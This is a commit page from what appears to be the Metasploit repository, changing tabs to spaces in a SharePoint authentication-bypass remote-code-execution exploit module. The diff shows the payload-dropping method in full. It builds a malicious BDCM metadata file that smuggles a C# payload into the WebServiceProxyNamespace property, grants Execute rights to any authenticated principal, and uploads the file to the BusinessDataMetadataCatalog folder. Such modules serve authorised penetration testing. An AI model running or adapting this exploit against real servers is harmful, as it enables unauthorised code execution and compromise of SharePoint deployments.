Changed tabs to spaces fixed msftidy

rapid7 · Feb 6, 2024 · 92bbc47 · 92bbc47
1 parent 4bb8714
commit 92bbc47
Showing 1 changed file with 48 additions and 48 deletions.
diff --git a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb
@@ -245,54 +245,54 @@ class #{class_name}: System.Web.Services.Protocols.HttpWebClientProtocol{
   def drop_and_execute_payload
     bdcm_data = "<?xml version=\"1.0\" encoding=\"utf-8\"?>
 <Model
-	xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
-	xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" Name=\"BDCMetadata\"
-	xmlns=\"http://schemas.microsoft.com/windows/2007/BusinessDataCatalog\">
-	<LobSystems>
-		<LobSystem Name=\"#{@lob_id}\" Type=\"WebService\">
-			<Properties>
-				<Property Name=\"WsdlFetchUrl\" Type=\"System.String\">http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl</Property>
-				<Property Name=\"WebServiceProxyNamespace\" Type=\"System.String\">
-					<![CDATA[#{create_c_sharp_payload(payload.encoded)}]]>
-				</Property>
-				<Property Name=\"WsdlFetchAuthenticationMode\" Type=\"System.String\">RevertToSelf</Property>
-			</Properties>
-			<LobSystemInstances>
-				<LobSystemInstance Name=\"#{@lob_id}\"></LobSystemInstance>
-			</LobSystemInstances>
-			<Entities>
-				<Entity Name=\"Products\" DefaultDisplayName=\"Products\" Namespace=\"ODataDemo\" Version=\"1.0.0.0\" EstimatedInstanceCount=\"2000\">
-					<Properties>
-						<Property Name=\"ExcludeFromOfflineClientForList\" Type=\"System.String\">False</Property>
-					</Properties>
-					<Identifiers>
-						<Identifier Name=\"ID\" TypeName=\"System.Int32\" />
-					</Identifiers>
-					<Methods>
-						<Method Name=\"ToString\" DefaultDisplayName=\"Create Product\" IsStatic=\"false\">
-							<Parameters>
-								<Parameter Name=\"@ID\" Direction=\"In\">
-									<TypeDescriptor Name=\"ID\" DefaultDisplayName=\"ID\" TypeName=\"System.String\" IdentifierName=\"ID\" CreatorField=\"true\" />
-								</Parameter>
-								<Parameter Name=\"@CreateProduct\" Direction=\"Return\">
-									<TypeDescriptor Name=\"CreateProduct\" TypeName=\"System.Object\"></TypeDescriptor>
-								</Parameter>
-							</Parameters>
-							<MethodInstances>
-								<MethodInstance Name=\"CreateProduct\" Type=\"GenericInvoker\" ReturnParameterName=\"@CreateProduct\">
-									<AccessControlList>
-										<AccessControlEntry Principal=\"STS|SecurityTokenService|http://sharepoint.microsoft.com/claims/2009/08/isauthenticated|true|http://www.w3.org/2001/XMLSchema#string\">
-											<Right BdcRight=\"Execute\" />
-										</AccessControlEntry>
-									</AccessControlList>
-								</MethodInstance>
-							</MethodInstances>
-						</Method>
-					</Methods>
-				</Entity>
-			</Entities>
-		</LobSystem>
-	</LobSystems>
+  xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+  xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" Name=\"BDCMetadata\"
+  xmlns=\"http://schemas.microsoft.com/windows/2007/BusinessDataCatalog\">
+  <LobSystems>
+    <LobSystem Name=\"#{@lob_id}\" Type=\"WebService\">
+      <Properties>
+        <Property Name=\"WsdlFetchUrl\" Type=\"System.String\">http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl</Property>
+        <Property Name=\"WebServiceProxyNamespace\" Type=\"System.String\">
+          <![CDATA[#{create_c_sharp_payload(payload.encoded)}]]>
+        </Property>
+        <Property Name=\"WsdlFetchAuthenticationMode\" Type=\"System.String\">RevertToSelf</Property>
+      </Properties>
+      <LobSystemInstances>
+        <LobSystemInstance Name=\"#{@lob_id}\"></LobSystemInstance>
+      </LobSystemInstances>
+      <Entities>
+        <Entity Name=\"Products\" DefaultDisplayName=\"Products\" Namespace=\"ODataDemo\" Version=\"1.0.0.0\" EstimatedInstanceCount=\"2000\">
+          <Properties>
+            <Property Name=\"ExcludeFromOfflineClientForList\" Type=\"System.String\">False</Property>
+          </Properties>
+          <Identifiers>
+            <Identifier Name=\"ID\" TypeName=\"System.Int32\" />
+          </Identifiers>
+          <Methods>
+            <Method Name=\"ToString\" DefaultDisplayName=\"Create Product\" IsStatic=\"false\">
+              <Parameters>
+                <Parameter Name=\"@ID\" Direction=\"In\">
+                  <TypeDescriptor Name=\"ID\" DefaultDisplayName=\"ID\" TypeName=\"System.String\" IdentifierName=\"ID\" CreatorField=\"true\" />
+                </Parameter>
+                <Parameter Name=\"@CreateProduct\" Direction=\"Return\">
+                  <TypeDescriptor Name=\"CreateProduct\" TypeName=\"System.Object\"></TypeDescriptor>
+                </Parameter>
+              </Parameters>
+              <MethodInstances>
+                <MethodInstance Name=\"CreateProduct\" Type=\"GenericInvoker\" ReturnParameterName=\"@CreateProduct\">
+                  <AccessControlList>
+                    <AccessControlEntry Principal=\"STS|SecurityTokenService|http://sharepoint.microsoft.com/claims/2009/08/isauthenticated|true|http://www.w3.org/2001/XMLSchema#string\">
+                      <Right BdcRight=\"Execute\" />
+                    </AccessControlEntry>
+                  </AccessControlList>
+                </MethodInstance>
+              </MethodInstances>
+            </Method>
+          </Methods>
+        </Entity>
+      </Entities>
+    </LobSystem>
+  </LobSystems>
 </Model>"
 
     url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)"